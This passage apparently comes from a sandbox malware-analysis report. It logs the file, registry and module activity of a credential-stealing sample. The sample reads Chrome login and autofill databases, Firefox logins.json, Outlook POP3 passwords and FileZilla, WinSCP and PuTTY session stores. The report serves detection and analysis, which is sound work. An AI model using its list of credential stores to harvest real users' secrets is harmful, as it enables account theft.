SSDeep: 24:LLilH0KL7G0TMJHUyyJtmCm0XKY6lOKQAE9V8MffD4fOzeCmly6UwcpYMQW:kz+JH3yJUheCVE9V8MX0PFlNU1uW 		False
...
C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak 64.00 KB MD5: e3a002935a782f75c8ac7f3f0505d7f2
SHA1: 5ec603207a726efa249b6ef575b2d03c64e928fd
SHA256: 912c041f1f45b8b817f94c84c15433a40463a8a56d6978cf08b7ed28996050a7
SSDeep: 96:Ze3Zht6YnMvqI738Hsa/NTIdEFaEdUDSuKn8Y/qBOnxjyWTJereWb3Ds4Blr:ZkZLHMEhTJMb3D 		False
...
Host Behavior
File (72)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Roaming\Mozilla\Firefox\Profiles\azpxkq2q.default\logins.json desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 3
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data type = file_attributes True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data type = file_attributes True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak type = file_attributes True 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak-journal type = file_attributes False 2
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak-wal type = file_attributes False 2
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak type = size, size_out = 0 True 2
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak type = file_attributes True 3
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak-journal type = file_attributes False 6
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak-wal type = file_attributes False 6
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak type = size, size_out = 0 True 6
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\filezilla\recentservers.xml type = file_attributes False 1
Fn
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\filezilla\sitemanager.xml type = file_attributes False 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Copy C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak source_filename = C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data True 1
Fn
Copy C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak source_filename = C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data True 1
Fn
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak size = 100, size_out = 100 True 1
Fn
Data
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak size = 2048, size_out = 2048 True 2
Fn
Data
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Login Data.bak size = 16, size_out = 16 True 1
Fn
Data
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak size = 100, size_out = 100 True 3
Fn
Data
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak size = 2048, size_out = 2048 True 15
Fn
Data
Read C:\Users\2XC7u663GxWc\AppData\Local\Google\Chrome\User Data\Default\Web Data.bak size = 16, size_out = 16 True 3
Fn
Data
Registry (113)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0c8c9c3ec3550644a047b86a8ec12a8b - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\1b84e156774e864ab4a15c6403c9f6e3 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2970052ff0fefa4086a30daf18dd86cf - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8fe7ac01aa79754a8f735e7cc12f5d47 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\95a84a5145e1b7428591aa8b63570f22 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\98abf245da169742aaaaf5b0bdd4dea8 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\adf5b6e3c063d3459407b9def7e90514 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\c02ebc5353d9cd11975200aa004ae40e - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\c5d2c4710d70ab4c8917b715c91bcb5a - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ce1460b2d4cad64e96fa40180c6297a9 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\fdd8a1fc7778114da9ed4f04391d9dea - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions - False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command data = "C:\Program Files\Mozilla Firefox\firefox.exe", type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 value_name = Email, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 value_name = Email, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = Email, type = REG_BINARY True 2
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Server, type = REG_BINARY True 2
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 User, type = REG_BINARY True 2
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = POP3 Password, type = REG_BINARY True 1
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = IMAP Server, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Server, type = REG_BINARY True 2
Fn
Data
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Port, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP User, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = SMTP Password, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 value_name = HTTP Server, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 value_name = Email, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary value_name = Email, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0c8c9c3ec3550644a047b86a8ec12a8b - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\1b84e156774e864ab4a15c6403c9f6e3 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2970052ff0fefa4086a30daf18dd86cf - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8fe7ac01aa79754a8f735e7cc12f5d47 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\95a84a5145e1b7428591aa8b63570f22 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\98abf245da169742aaaaf5b0bdd4dea8 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\adf5b6e3c063d3459407b9def7e90514 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\c02ebc5353d9cd11975200aa004ae40e - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\c5d2c4710d70ab4c8917b715c91bcb5a - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ce1460b2d4cad64e96fa40180c6297a9 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\fdd8a1fc7778114da9ed4f04391d9dea - False 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - True 1
Fn
Enumerate Keys HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E} - False 1
Fn
Module (486)
»
Operation Module Additional Information Success Count Logfile
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load ADVAPI32.dll base_address = 0x774c0000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load USERENV.dll base_address = 0x74b30000 True 1
Fn
Load SHLWAPI.dll base_address = 0x771d0000 True 1
Fn
Load CRYPT32.dll base_address = 0x75610000 True 1
Fn
Load WININET.dll base_address = 0x77230000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load WTSAPI32.dll base_address = 0x73f10000 True 1
Fn
Load SHELL32.dll base_address = 0x75bb0000 True 1
Fn
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 4
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x6c330000 True 4
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 8
Fn
Load kernel32 base_address = 0x0 False 4
Fn
Load kernel32 base_address = 0x76b10000 True 4
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 4
Fn
Load vaultcli.dll base_address = 0x73940000 True 1
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Load nss3.dll base_address = 0x722a0000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 4
Fn
Get Handle c:\windows\system32\shell32.dll base_address = 0x75bb0000 True 5
Fn
Get Handle c:\windows\system32\ws2_32.dll base_address = 0x75a90000 True 18
Fn
Get Handle c:\windows\system32\urlmon.dll base_address = 0x76850000 True 2
Fn
Get Handle c:\windows\system32\advapi32.dll base_address = 0x774c0000 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\windows\system32\svchost.exe, file_name_orig = C:\Windows\system32\svchost.exe, size = 260 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileAttributesW, address_out = 0x76b664ff True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentThreadId, address_out = 0x76b5bb80 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnmapViewOfFile, address_out = 0x76b5db13 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapValidate, address_out = 0x76b525dd True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapSize, address_out = 0x77389bec True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetTempPathA, address_out = 0x76b76a65 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FormatMessageW, address_out = 0x76b554a3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetDiskFreeSpaceA, address_out = 0x76b6d7d2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileAttributesA, address_out = 0x76b61de6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileAttributesExW, address_out = 0x76b5273d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = OutputDebugStringW, address_out = 0x76b46b91 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FlushViewOfFile, address_out = 0x76b483d2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileA, address_out = 0x76b5cee8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObjectEx, address_out = 0x76b5bab0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetVersionExA, address_out = 0x76b63861 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteFileA, address_out = 0x76b547cb True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteFileW, address_out = 0x76b50f62 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemInfo, address_out = 0x76b63728 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapCompact, address_out = 0x76b47cf6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapDestroy, address_out = 0x76b52301 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = UnlockFile, address_out = 0x76b76417 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileMappingA, address_out = 0x76b597e9 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LockFileEx, address_out = 0x76b7692f True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetFileSize, address_out = 0x76b50273 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetCurrentProcessId, address_out = 0x76b5cac4 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileW, address_out = 0x76b5cc56 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FreeLibrary, address_out = 0x76b5d9d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76b62fde True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetSystemTime, address_out = 0x76b5ced8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = FormatMessageA, address_out = 0x76b78868 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateFileMappingW, address_out = 0x76b50a7f True 1
Fn
